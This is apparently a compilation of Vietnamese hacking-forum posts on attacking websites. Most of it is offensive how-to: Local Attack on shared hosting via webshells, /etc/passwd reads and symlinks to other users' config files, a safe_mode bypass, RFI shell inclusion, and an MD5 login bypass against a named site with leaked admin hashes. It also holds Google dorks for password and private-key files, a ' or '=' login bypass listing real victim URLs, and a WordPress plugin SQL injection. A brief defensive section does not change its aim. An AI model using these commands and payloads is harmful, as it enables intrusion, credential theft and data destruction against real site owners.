Trang

Tìm hiểu về Local Attack

I. Khái niệm chung


  • Thông thường, khi host một site lên server thì người dùng sẽ được cấp một tài khoản người dùng và một thư mục để quản lý site của mình. Ví dụ tài khoản user1 được cấp thư mục /home/user1 để quản lý site của user1. Tương tự như vậy, tài khoản user2 được cấp thư mục /home/user2 để quản lý site của user2. Bằng cách nào đó, hacker có thể chiếm giữ /home/user2 và dùng các script (shell) để truy nhập vào /home/user1. Cách thức tấn công dựa vào các script ở site của user này để tấn công vào site của user khác trên cùng một server được gọi là Local Attack.





  • Như vậy, Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.
  • Điểm mấu chốt của tấn công Local Attackhacker đã chiếm được quyền điều khiển một site nằm trên shared-server đó và sử dụng nó làm bàn đạp tấn công các site khác cùng server. Điều này có thể hiểu đơn giản là hacker đã upload được một web-shell (phổ biến như r57, c99…) lên site của user2 (site này đặt tại /home/user2) và dùng web-shell này để tấn công sang site của user1 (được đặt tại /home/user1). Để có được web-shell trên một site để dùng làm bàn đạp, hacker có thể lợi dụng các lỗ hổng của site đó như SQL injection, XSS,… Thậm chí, hacker có thể mua một host nằm trên cùng server với site đó rồi tự upload web-shell lên và tiến hành Local Attack.


II. Một số kiến thức cần biết

1. Host và Shared Hosting


  • Thông thường đối với web site, dữ liệu của nó phải được lưu trên 1 máy chủ (server) luôn hoạt động và kết nối với mạng internet. Khoảng không gian bộ nhớ trên máy chủ sử dụng để lưu trữ dữ liệu của website được gọi là host.
  • Đối với một số cơ quan tổ chức, việc thuê hẳn 1 server để lưu trữ dữ liệu website là không thiết thực. Do nhu cầu của họ chỉ đơn giản là lưu trữ, hơn nữa giá thành thuê 1 server cũng không phải là rẻ. Chính vì vậy, shared hosting là một lựa chọn hợp lý. Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.


2. Hệ thống phân quyền

  • Không giống như windows, hệ điều hành Linux có hệ thống phân quyền khá phức tạp và chặt chẽ.
  • Linux hỗ trợ 3 quyền làm việc cơ bản:
r: quyền đọc (read)
w: quyền ghi (write)
x: quyền thực thi (execute)
- : không cho phép.
  • Các quyền này được chỉ định cho 3 đối tượng:

u : người sở hữu (owner)
g : nhóm sở hữu (group)
o : các người sử dụng thông thường (other)



  • Quyền cho 1 file hay thư mục được biểu hiện như sau :

– rwx rwx rwx

đặc tính owner group other
Ký tự thứ nhất: xác định kiểu của file.

- : regular file (text, binary, executed file)
d : thư mục
c/b : device file
l : link file

9 ký tự kế tiếp: xác định quyền đọc, ghi, thực thi đối với người sở hữu, nhóm sở hữu và người dùng còn lại.


  • Thay đổi nhóm/người sở hữu: chown, chgrp
    • Thực hiện bởi root hoặc người sở hữu.
    • Thay đổi người sở hữu:
    • chown user_name file_name
    • Thay đổi nhóm sở hữu:
    • chgrp group_name file_name

  • Thay đổi quyền truy cập: chmod
    • Cú pháp :
chmod quyền đối tượng


  • Ví dụ :
Muốn thêm quyền ghi cho nhóm đối với thư mục shell ta dùng lệnh :
chmod g+x shell
g+x cho biết sẽ thêm quyền ghi (w) vào đối tượng group (g).Tương tự các quyền khác với các đối tượng khác.
Muốn loại bỏ hoàn toàn quyền của đối tượng group ta dùng lệnh :
chmod g-rwx shell
Quyền của file (thư mục) trong câu lệnh chmod còn được biểu hiện bằng các các số theo qui luật sau :


r : quyền đọc (read) = 4
w : quyền ghi (write) = 2
x : quyền thực thi (execute) = 1
- : không cho phép = 0


Giả sử muốn:
owner quyền đọc, ghi, thực thi (4+2+1=7)
group quyền đọc và ghi (4+2=6)
người dùng khác (other) quyền thực thi (=1)

Ta làm như sau :
chmod 761 shell


  • Quyền truy cập đối với tệp tin
    • Quyền đọc (r – read): tức người dùng có thể đọc nội dung của file.
    • Quyền ghi (w – write): tức là người dùng có thể ghi nội dung vào file.
    • Quyền thực thi (x – execute): nếu file là file thực thi (chạy) thì người dùng có thể chạy file này.
  • Quyền truy cập đối với thư mục
    • Quyền đọc (r – read): tức người dùng có thể liệt kê danh sách tên file thông qua lệnh ls.
    • Quyền ghi (w – write): tức là người dùng có thể tạo hoặc xóa file trong thư mục.
    • Quyền thực thi (x – execute): cho phép người dùng nhảy vào trong thư mục (lệnh cd).
    • Quyền đọc và thực thi không phụ thuộc vào nhau.

3. Webshell


  • Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng. Shell được hiểu như là 1 phần mềm cung cấp cho người dùng giao diện để giao tiếp với phần nhân của hệ điều hành.
  • Tương tự với shell, webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản. Với những tính năng ưu việt này, nhưng khi rơi vào tay hacker, webshell lại trở thành 1 công cụ đáng sợ giúp thâm nhập hệ thống. Dần dần, dựa trên những webshell “nguyên thủy”, các hacker đã thêm vào nhiều tính năng, tạo nên webshell riêng phục vụ cho mục đích xấu của mình.
  • Một số webshell nổi tiếng: webadmin, r57, c99…

Các bước tấn công local attack


Bước 1: Xác định mục tiêu

Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip:


myIPneighbors
seologs
huehacker
Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu

Khi đã tìm được các website có cùng server với victim, hacker sẽ chọn các website có hệ thống an ninh lỏng lẻo nhất và tấn công bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.

Bước 3: Thu thập thông tin về mục tiêu
Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao… Bước này là bước quan trọng trong quá trình cuộc tấn công mục tiêu. Thông thường hacker sẽ sử dụng các câu lệnh sau để hiển thị các thông tin cần thiết:

cat /etc/passwd

cat /etc/valiasse


Tập tin /etc/passwd chứa thông tin về danh sách các user. Tập tin /etc/valiasse chứa thông tin về danh sách các site nằm trên server. Từ hai tập tin này, hacker có thể phỏng đoán được user ứng với mỗi website và đặc điểm của user đó cũng như tìm được thư mục gốc.

Bước 4: Tấn công trực tiếp mục tiêu
Sau khi có được các thông tin cần thiết như trên, hacker sẽ tiến hành tấn công trực tiếp mục tiêu. Nếu mục tiêu được cấu hình không tốt, hacker có thể đọc được các thông tin quan trọng như cấu trúc các thư mục, nội dung các file cấu hình của php, mysql như username, password của cơ sở dữ liệu… Thậm chí hacker có thể tiếp tục upload webshell lên side của mục tiêu để tạo backdoor cho các lần tấn công sau đó.
Khi đã có trong tay thông tin đăng nhập vào cơ sở dữ liệu thì việc còn lại của hacker chỉ là lấy cắp hoặc thay đổi các thông tin của website, điều này càng trở nên dễ dàng khi nội dung cơ sở dữ liệu không được mã hóa. Tệ hơn, hacker có thể xóa toàn bộ dữ liệu của website.

Bản chất – nguyên nhân
Qua việc phân tích các bước tấn công như trên, chúng ta có thể thấy nguyên nhân sâu xa gây ra Local Attack là do việc phân quyền không chặt chẽ của quản trị server cũng như quản trị website. Trong bốn bước tấn công trên thì bước 3 và bước 4 là hai bước mà hacker tấn công trực tiếp vào server và website mục tiêu. Ở bước 3, do việc phân quyền các file quan trọng như /etc/passwd của quản trị server không kĩ nên hacker có thể lấy được các thông tin về user trong file này. Ở bước 4, trách nhiệm lại thuộc về quản trị website khi cấu hình phân quyền các file, thư mục không tốt khiến hacker có thể dễ dàng hiện được cấu trúc thư mục cũng như đọc được các thông tin quan trọng khác.

Đối với thư mục, cấu hình phân quyền mặc định trong Windows là 777, trong Linux là 755. Còn đối với file, cấu hình phân quyền mặc định trong Windows là 666 và trong Linux là 644. Với cấu hình lỏng lẻo như thế này, hacker có thể dễ dàng xem được các thông tin quan trọng về hệ thống cũng như các thông tin quan trọng trong file cấu hình bằng lệnh ls, cat

Giải pháp
Có rất nhiều biện pháp phòng chống Local Attack, đòi hỏi sự phối hợp chặt chẽ từ cả 2 phía: quản trị server (hosting provider) và quản trị web (customer).

1. Từ phía quản trị server (hosting provider)

  • Trước hết, các nhà quản trị server nên tự trang bị cho mình những công cụ bảo vệ server như firewall và chương trình antivirus được cập nhập bản mới nhất. Antivirus giúp phát hiện và diệt những shell hay chương trình độc hại ngay khi nó được upload lên server, firewall đóng vai trò như 1 vệ sĩ gác cửa ngăn chặn và cảnh báo 1 số các sự kiện: mở cổng, truy cập khả nghi đến server
  • Việc cập nhập phiên bản kernel cũng như các phiên bản ứng dụng mới cho server phải được thường xuyên thực hiện. Cũng nên kiểm tra, cập nhập web serverdatabase server lên phiên bản mới nhất. Điều này không chỉ giúp cho server sử dụng các tính năng mới nhất mà còn tránh được các lỗ hổng gây lỗi của phiên bản cũ.
  • Tổ chức phân quyền đúng đắn cho server. Mỗi hosting sẽ được cấp 1 tài khoản người dùng riêng trên server và được giới hạn quyền tối thiểu. Web server và database server chạy dưới quyền các user riêng biệt.
  • Cài đặt và sử dụng Mod_security.
  • Cài đặt và sử dụng suPHP.
  • Sử dụng tính năng PHP safe_mode.

2. Từ phía quản trị website (customer)


  • Chmod chặt chẽ cho các thư mục và file. Với thư mục nên chmod 701, với file nên chmod 600.
  • Sử dụng tính năng PHP safe_mode.

VI. Một số kĩ thuật tấn công Local Attack


1. Bypass safe_mode

a. Tính năng safe_mode trong PHP

  • Safe_mode là một giải pháp để giải quyết vấn đề bảo mật trong các shared-server. Về mặt kiến trúc thì đây là công việc nằm ở tầng của web server và hệ điều hành. Tuy nhiên hai tầng trên hiện không đáp ứng thực sự tốt công việc này. Do vậy, ngày nay rất nhiều người đang sử dụng tính năng safe_mode của PHP như một giải pháp thay thế.
  • Để bật tính năng safe_mode của PHP, bạn chỉ cần sửa lại dòng sau trong file php.ini:
safe_mode = On


  • Khi safe_mode được bật, PHP sẽ kiểm tra xem owner của script có trùng với owner của file đang được tác động hay không. Nếu không trùng sẽ có thông báo lỗi xuất hiện. Ví dụ owner của /etc/passwdroot (uid = 0), owner của script test.phpsangcx (uid = 509). Nội dung của script test.php:
<?php readfile(‘/etc/passwd’); ?>

Khi chạy script test.php ta sẽ nhận được thông báo:

Warning:
readfile() [function.readfile]: SAFE MODE Restriction in effect. The script whose uid is 509 is not allowed to access /etc/passwd owned by uid 0 in /usr/local/apache2/htdocs/site2/test.php on line 2


  • Chúng ta cũng có thể vô hiệu hóa một số hàm bằng chỉ thị disable_function của safe_mode (thay đổi chỉ thị này trong file php.ini):
disable_function = readfile

Khi chạy scritp test.php ở trên ta sẽ nhận được thông báo:


Warning: readfile() has been disabled for security reasons in /usr/local/apache2/htdocs/site2/test.php on line 2


Danh sách các hàm mà safe_mode cấm dùng hoặc bị vô hiệu hóa:

http://www.php.net/manual/en/features.safe-mode.functions.php

b. Kĩ thuật bypass safe_mode


  • Để bypass safe_mode, ta cần upload được một file php.ini với nội dung như sau lên server:
safe_mode = Off


Hiện nay có nhiều shell có tính năng này. Chỉ cần 1 cú click chuột là shell sẽ tự tạo một file php.ini nội dung như trên và upload lên server. Một trong các shell hay được sử dụng để bypass safe_modeAluCar.

2. Symlink


a. Một số kiến thức về symlink

  • Trong Linux, dữ liệu của các file được chia thành các block, 1 block = 1K, 2K, 4K…
  • Có nhiều cách tổ chức để liên kết các khối dữ liệu trong một file với nhau, một trong các cách đó là dùng chỉ mục (indexed allocation).



  • Với kiểu tổ chức này, một file được đại diện bằng một Index Node (Inode).



  • Inode chứa các thông tin:
    • Quyền truy cập đến file.
    • Thông tin về người/nhóm sở hữu.
    • Thông tin về thời gian.
    • Số liên kết đến Inode.
    • Kích thước file, địa chỉ các block dữ liệu
    • NHƯNG: không chứa tên file à 1 inode có thể ứng với nhiều file name.
  • Có hai loại file liên kết trong Linux: hard link và soft link (hay symbolic link).
  • Hard link – liên kết cứng, sử dụng chung dữ liệu.
    • Các file có tên khác nhau.
    • Cùng 1 inode.
    • Chỉ số liên kết trong inode bằng số file trỏ đến nó.
    • Có thể khác thư mục.
    • Cách tạo hard link: ln src_file hard_link_file
  • Soft link (symbolic link – symlink) – liên kết mềm, liên kết kiểu con trỏ file (short cut).
    • Các file có tên khác nhau.
    • Giá trị inode khác nhau.
    • Nội dung file liên kết mềm là tên file được liên kết.
    • Cách tạo symlink: ln – s src_file sym_link_file
  • Có thể hình dung symlink giống như tạo short cut trong Windows.

b. Kĩ thuật symlink trong Local Attack


  • Khi thực hiện tấn công Local Attack, đôi khi chúng ta không thể hiện được các thông tin quan trọng như cấu trúc thư mục, nội dung file cấu hình của victim. Nguyên nhân là do cấu hình của server không cho phép chúng ta làm điều đó. Để giải quyết vấn đề này ta có thể dùng kĩ thuật symlink.
  • Ví dụ khi đã có shell tại /home/user1/ và muốn tấn công victim có thư mục nằm tại /home/user2. Các câu lệnh hay dùng như ls –la /home/user2 không có tác dụng. Khi đó ta sẽ tạo một symlink tới thư mục /home/user2 như sau:
ln –s /home/user2 a.txt

  • Khi đó a.txt sẽ như một shortcut đến thư mục /home/user2. Ta chỉ cần vào địa chỉ /home/user1/a.txt là nội dung thư mục /home/user2 sẽ hiện ra. Tuy nhiên, để làm được điều này thì một số chỉ thị sau của server phải được bật:

Options +FollowSymLinks #cho phép dùng symlink

DirectoryIndex seees.html #vô hiệu hóa file index.html

Options +Indexes #cho phép hiện cấu trúc thư mục


  • Nếu server không bật các chỉ thị trên, có thể bạn sẽ gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.
- Sưu tầm
 

Hacking Website using RFI Method

RFI là gì (Remote File Inclusion)
Remote File Inclusion (RFI) là một loại tổn thương thường thấy nhất trên các trang web. Nó cho phép kẻ tấn công bao gồm một tập tin từ xa, thường là thông qua một kịch bản trên máy chủ web. Dễ bị tổn thương xảy ra do việc sử dụng của người dùng cung cấp đầu vào mà không xác nhận thích hợp. Điều này có thể dẫn đến một cái gì đó như tối thiểu như xuất ra các nội dung của tập tin, nhưng tùy thuộc vào mức độ nghiêm trọng, để liệt kê một vài có thể dẫn đến:

* thực hiện trên web
* thực hiện trên phía máy khách như JavaScript có thể dẫn đến các cuộc tấn công khác như cross site scripting (XSS).
* Từ chối dịch vụ (DoS)
* Dữ liệu Theft / ManipulationRFI một lỗ hổng rất phổ biến do các bản vá lỗi và cập nhật trên các trang web quá nhiều.

Bây giờ để kiểm tra xem trang web xem có lỗi hay không để RFI sẽ trả về các lệnh sau đây
Victim chỉ là demo thôi nhé
*www.site.com/index.php?page=www.google.com*
Nếu trang web trả về google thì trang web đó bị lỗi

*/ Cần phải chuẩn bị một code shell .txt lên google search sẽ rất nhiều

*www.site.com/index.php?page=**www.oursite.com/shell.txt*
 

Cách login khi không decode đc md5 đối với 1 số site

Cách login khi không decode đc md5 đối với 1 số site
================
Tut by Leorius - VHB - Dành cho newbie, miễn gạch đá

1. Chào các bạn, mình mạo muội làm tut login khi không decode được MD5
đối với một số website mã hoá MD5 trước khi post dữ liệu lên server.

Yêu cầu:

+ Victim: http://traanh.vn/
+ Addon Tamper (Firefox) hoặc các addon tương tự

2. Trước tiên là tìm User,Pass:

http://traanh.vn/?frame=product_deta...m%20tbl_user--



1|admin|c2a26024ce725f94d9b9e90f6a618ba3
2|phamvan|48472492c504e777a664efeff27d9fee
Tình hình là thử đối với các site decode MD5 lớn cho chuỗi c2a26024ce725f94d9b9e90f6a618ba3 mà không được.

Thay vì bỏ, thì còn phương án sau.

3. Tìm link admin, thử login với user là admin (get được ở trên) và pass bất kì (123456):

http://traanh.vn/admin/

4. Bạn để ý chuỗi pass bạn nhập ban đầu chỉ 6 ký tự, nhưng sau khi bấm submit thì chuỗi pass dài ra, tư duy một tí đoán là admincp này mã hoá MD5 bằng JavaScript trước khi post lên server xử lý.

Đến đây có lẽ vấn đề đã được giải quyết:

+ Bật tamper lên
+ Login bằng user (đã get được) và pass (123456)
+ Edit giá trị password bằng tamper thành chuỗi md5 không giải mã được (c2a26024ce725f94d9b9e90f6a618ba3)


 

Sqlmap plugin for BurpSuite

Nếu bạn là 1 pentester, chắc hẳn không lạ gì 2 công cụ rất phổ biến là sqlmap và burpsuite. Nhưng kết hợp chúng lại với nhau để làm việc như là 1 công cụ thì chắc nhiều người chưa biết.

Sau đây là tutorial của namhb về việc kết hợp này.

Đầu tiên, chúng ta download plugin sqlmap của burpsuite về:

Download SQLmap plugin for Brupsuite at: http://code.google.com/p/gason/downloads/list

1 – Lưu nó lại cùng thư mục với brupsuite

2 – Sử dụng câu lệnh để khởi động brupsuite với plugin: ( ở trong Linux)

java -classpath gason-0.9.5.:”burpsuite_v1.4.01.jar” burp.StartBurp

3 -Khi bạn click vào tab proxy / action, bạn sẽ nhìn thấy tùy chọn send to sqlmap

[Hình: _r_-BO3n0LZXsnrUTNcSzxjegckx9RgHkDPujoDB...cjmflcPdUs]

Việc tiếp theo chỉ cần trỏ trình duyệt nhận brupsuite làm proxy.

[Hình: 4O7tu530hubLlAaAFLhH-KCkmokxxKhtMreIs_ye...YAVUzsePHY]

Sau khi đã chọn send to sqlmap, chúng ta sẽ thấy hiện ra SQLMap Options:

Ở trong SQLmap option, bạn phải:

1 – Cấu hình đường dẫn tới thư mục SQLmap bin

2 – Chọn action

3 – Các option cần thiết, sau đó run

[Hình: z2i_gC10aDHkWm3f8gPuvuzGQGIbZ-msi6UvBnoB...iCzgSyhqMY]

Và đây là kết quả thu được:

[Hình: nrsFOZccXwq9YY7083o2NqF9CvPdIQBGumSZ3D59...CLJi2p607E]
 

HOW TO USE GOOGLE TO FIND FACEBOOK AND OTHER PASSWORD BACKUPS!!



HOW TO USE GOOGLE TO FIND FACEBOOK AND OTHER PASSWORD BACKUPS!!



Prerequisites: (This one is Easy!)
1. A modern web browser (i recommend Firefox or Google Chrome) and Internet (Duh, Broadband).
2. Time


In order for these to work, all you have to do is simply copy and paste the dork into Google and search it

Method 1: Facebook!
We will be using a Google dork to find usernames and passwords of many accounts including Facebook!

The Dork: intext:charset_test= email= default_persistent=
Enter that into Google, and you will be presented with several sites that have username and passwords lists!


Method 2: WordPress!

This will look for WordPress backup files Which do contain the passwords, and all data for the site!
The Dork: filetype:sql inurl:wp-content/backup-*

Method 3: WWWBoard!

This will look for the user and passwords of WWWBoard users
The Dork: inurl:/wwwboard/passwd.txt

Method 4: FrontPage!


This will find all users and passwords, similar to above.
The Dork: ext:/wd inurl:/service | authors | administrators | users) "# -FrontPage-"

Method 5Symfony: !
This finds database information and logins
The Dork: inurl:config/databases.yml -trac -trunk -"Google Code" -source -repository

Method 6: TeamSpeak! (big one!!!!!)

This will search for the server.dbs file (a Sqlite database file With the SuperAdmin username and password!!!)
The Dork: server-dbs "intitle:index of"

Method 7: TeamSpeak2!!! (also big!)

This will find the log file which has the Super Admin user and pass in the Top 100 lines. Look for "superadmin account info:"
The Dork: "inurl:Teamspeak2_RC2/server.log"

Method 8: Get Admin pass!
Simple dork which looks for all types of admin info
The Dork: "admin account info" filetype:log

Method 9: Private keys! (not any more!)
This will find any .pem files which contain private keys.
The Dork: filetypepem pem intextprivate

And the Ultimate one, the regular directory full of passwords....
Method 10: The Dir of Passwords!
Simple one!
The Dork: intitle:"Index of..etc" passwd
 

Powered by Cyberjee Bypass Login Page Vulnerability

# Exploit : Login page bypass
#
# Location : [Target]/login.php Location 2 : [Target]/admin
#
# Username : '=' 'or'
#
# Password : '=' 'or'
######################
# Proof:
#
# http://www.dumarsgrill.com/admin/index.php
#
# http://www.tripplesperfumes.com/login.php
#
# http://johnnyswatches.com/admin/
#
# http://www.timefactoryinc.com/admin/admin_panel.php
#
# http://www.blakesbarbq.biz/admin/index.php
#
#
#
# Google Dork : intext:"Powered by Cyberjee Systems, Inc"
######################
 

Wordpress WP Realty Plugin - Blind SQL Injection

$$$$$$\      $$\   $$\     $$$$$$\ 
$$  __$$\     $$ |  $$ |   $$  __$$\
$$ /  \__|    $$ |  $$ |   $$ /  \__|
$$ |$$$$\     $$$$$$$$ |   \$$$$$$\ 
$$ |\_$$ |    $$  __$$ |    \____$$\
$$ |  $$ |    $$ |  $$ |   $$\   $$ |
\$$$$$$  |$$\ $$ |  $$ |$$\\$$$$$$  |
 \______/ \__|\__|  \__|\__|\______/
  
# Exploit Title: Wordpress - wp-realty - MySQL Time Based Injection
# Google Dork: inurl:"/wp-content/plugins/wp-realty/"
# Vendor: http://wprealty.org/
# Date: 10/08/2013
# Exploit Author: Napsterakos
 
 
Link: http://localhost/wordpress/wp-content/plugins/wp-realty/
 Exploit: http://localhost/wordpress/wp-content/plugins/wp-realty/index_ext.php?a
ction=contact_friend&popup=yes&listing_id=[SQLi]Credits to: Greek Hacking Scene
 

Tổng hợp những lệnh trên shell hay dùng nhất khi local

1) Xem list domain & user trên cùng sever

Code:
directadmin: cat /etc/virtual/domainowners
cpanel: ls -la /etc/valiases/tendomainvictim.com

cd/etc/vdomainaliases;ls-lia
Trường hợp đặc biệt khi không thể xem us
er nằm cùng host thì ta thêm && vào
Code:
cd/etc/vdomainaliases && ls-lia
2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.

Code:
cat /etc/passwd
less /etc/passwd
more /etc/passwd
head /etc/passwd
tac /etc/passwd
rev /etc/passwd
xxd /etc/passwd
3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được)

Code:
dir /home/ten user can local/public_html
vd: dir /home/vhb/public_html
4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2 
-> có thể sài các lệnh đó thay thế cho cat, less,...

Code:
cat/home/ten user can local/public_html/index.php
vd: cat /home/vhb/public_html/@vhb@/includes/config.php
vd: less /home/vhb/public_html/@vhb@/includes/config.php

5) Symlink: tác dụng gần giống như tạo shorcut trên windows.

Code:
ln -s/home/ten user can local/public_html/index.php index.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini
với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.

6) Tìm path của mấy victim sài Add on domain
find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'
 

Hướng dẫn tổng hợp, chi tiết cơ bản nhất các bước để local một victim.

Bài viết này dựa trên kinh nghiệm cũng như những kiến thức mà mình thấy cần thiết nhất và dễ hiểu nhất để dành cho những bạn nào chưa biết đến Local sau khi đọc xong sẽ biết đến nó và có thể thực hành ở đa số các trường hợp.

I. Đầu tiên là đọc sơ cái Định Nghĩa của Local Attack là gì cái nào:

Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng các kỹ thuật khác nhau để đạt được mục đích cuối cùng đó là chiếm được toàn quyền website mục tiêu (victim).
Lấy cái ví dụ cho dễ hiểu:

VD1:
+ Server là một cái PC có nhiều folder trên đó.
+ Mỗi folder tương ứng với 1 user toàn quyền trên nó.
+ Local attach đó là làm sao đứng từ folder này dòm ngó và chui vào được cái folder khác. 
VD2:
+ Server là một cái chung cư to đùng.
+ Folder là 1 căn hộ trong chung cư đó và chủ nhà là một em chân dài, da trắng, xinh tươi nằm trong đó.
+ Local attack là làm đủ mọi cách như đục tường, khoét vách phá cửa để vào nhà có em xinh tươi ấy và xxx được em ấy.

II. Những điều cần biết trước khi bắt đầu tấn công và kết thúc Local attack:

1. Xác định website mục tiêu cần tấn công. (victim)
2. Reverse IP để xac định các website khác nằm chung server với website mục tiêu (victim)
3. Tấn công vào 1 trong các website bất kỳ cùng server với website mục tiêu (victim) và chiếm quyền nó.
4. Bước 3 Thành công ta có quyền trên 1 site cùng server với victim. hay mọi người vẫn gào lên là CÓ SHELL RỒI.
5. Chính thức bắt đầu vào quá trình tấn công nội bộ - Local Attack.
6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim. 
=> Kết thúc local attack thành công (xxx được em chân dài xinh tươi ấy rồi :x )

III. Bắt đầu vào chi tiết các bước để Local attack 1 victim.
Ở đây ta bỏ qua các bước từ 1-5 và mặc định là những bước đó ta đã biết sử dụng shell cơ bản cũng như đã có shell trên cùng server victim, và trong phần này mình hướng dẫn dựa trên server có OS là Linux và không cố định ở Distro, kernel nào.Chúng ta bắt đầu vào được thứ 6.

6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
a. Tìm user của victim:

+ Để tìm user của victim ta có rất nhiều cách và cũng có nhiều công cụ để làm việc này riêng mình sẽ chú trọng vào lệnh để vào server linux nào cũng sài được.
- Lệnh : cat /etc/passwd này dùng để đọc nội dung của file passwd nằm trong thư mục etc trên hệ thông.File này chứa toàn bộ tên user của Linux OS


Code:
cat /etc/passwd
less /etc/passwd
...
Xem thêm: Tổng hợp những lệnh shell hay dùng khi local

- Xem chính xác domain nào tương ứng với user nào thì ta dùng lệnh:
đối với server dùng directadmin để quản lý host ta dùng: 
Code:
cat /etc/virtual/domainowners
Đối với server dùng cpanel để quản lý host ta dùng: 
Code:
ls -la /etc/valiases/tendomainvictim.com
chú ý: tendomainvictim.com chính là tên domain website victim cần tấn công vd tôi cần tấn công huynhdegroup.net thì tôi sài lệnh sau:
Code:
ls -la /etc/valiases/huynhdegroup.net
- Có thể dùng chức năng đọc file passwd của con shell các bạn đang sài để view cũng được và đó cũng là một cách nữa để tìm user victim.
- Còn rất nhiều cách để tìm user của victim như xem error log ...
vd : tail -n 10000 /var/log/httpd/domains/huynhdegroup.net.error.log
vd1: cat /usr/local/apache/logs/error_log | grep "huynhdegroup.net" >>"user.txt"

b. Tìm đường dẫn tới thư mục của victim.
Có nhiều cách để xem đường dẫn của victim như check lỗi trực tiếp để hiện thông báo lỗi kèm theo user, path cụ thể... nhưng ở đây là local attack nên mình đề cập đến vài cách tìm như sau:
- Tìm path dựa vào Path của victim chứ shell: ví dụ các bạn vào shell và thấy:
/home/huynhde/public_html/ thì chắc chắn là cấu trúc đường dẫn của victim cũng sẽ tương tự chỉ khác ở phần user mà thôi
=> /home/victim/public_html/
Việc đặt đường dẫn lưu website thì tùy mỗi server sẽ có nơi lưu khác nhau nhưng đa phần trên 90% sử dụng đường dẫn như mình đã nêu. còn lại thì các bạn tự suy ra dựa theo cách suy luận mình đá nói.

c. Tìm file cấu hình của victim (config.php)
Đây là bước quan trọng quyết định tới việc các bạn có thể chiếm được victim hay không phụ thuộc vào bước này.Mình hướng dẫn trong trường hợp đây là mã nguồn victim tự code
thường thì file config.php hay nằm chung thư mục với file index.php tuy nhiên một số người khi code sẽ đưa vào trong vài lớp folder để quản lý code và cách tìm đó là các bạn view nội dung file index.php (để biết view thì các bạn xem bước 7 tiếp theo) để ý các dòng includes các file như là:
Code:
./inc/config.php
./includes/config.php
./includes/db.php
./inc/dbconnect.php
...
Thường thì một số mã nguồn sẽ có đường dẫn file config cố định và các bạn phải tìm hiểu mã nguồn đó để biết được file config đó nằm đâu. mình sẽ giới thiệu vài mã nguồn thông dụng:
Code:
Vbulletin: /home/victim/public_html/includes/config.php
PHPBB: /home/victim/public_html/config.php
Joomla: /home/victim/public_html/configuration.php
WordPress: /home/victim/public_html/wp-config.php
ibp: /home/victim/public_html/conf_global.php
php-fusion: /home/victim/public_html/config.php
Smf: /home/victim/public_html/Settings.php
phpnuke: /home/victim/public_html/html/config.php
Xoops: /home/victim/public_html/mainfile.php
ZenCart: /home/victim/public_html/includes/configure.php
setidio: /home/victim/public_html/datas/config.php
Discuz: /home/victim/public_html/config/config_ucenter.php
Bo-Blog: /home/victim/public_html/data/config.php
Biết được file config.php nằm đâu rồi thì chúng ta bắt đầu qua bước 7 để tiến hành xem nội dung file config đó

7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
Có 2 cách thông dụng nhất để xem file config của victim đó là:

A. Dùng lệnh xem file như: cat, less, more nếu server cho phép (tiếc là đa số không cho phép cách này :( )
vd: cat /home/huynhde/public_html/@VHB@/includes/config.php
vd: cat /home/huynhde/public_html/configuration.php
vd: cat /home/huynhde/public_html/wp-config.php
...

B. Dùng phương pháp Symlinks: đây là phương pháp phổ biến nhất và đa số là hơn 95% sử dụng nó.
Symbolic Links là gì?
Symbolic links, vẫn được biết đến với cái tên symlinks, về cơ bản là biện pháp tạo shortcut nâng cao. Nguời dùng có thể tạo các liên kết tượng trưng cho các file hoặc thư mục riêng lẻ, sau đó các liên kết này sẽ xuất hiện như thể chúng được lưu trong cùng thư mục với liên kết tượng trưng mặc dù liên kết tượng trưng lại trỏ đến vị trí thực của chúng.
Có nhiều cách để tiến hành tạo symlinks nhưng mình đề cập đến dùng lệnh symlinks cho cơ bản nhất.Sau đó mới tới việc dùng các tool để khai thác.Để symlinks ta dùng lệnh ln kèm theo tùy chọn cho nó bạn muốn tạo symlinks đến file config.php của victim tên huynhde sau khi đã biết chính xác đường dẫn của nó ta làm như sau:

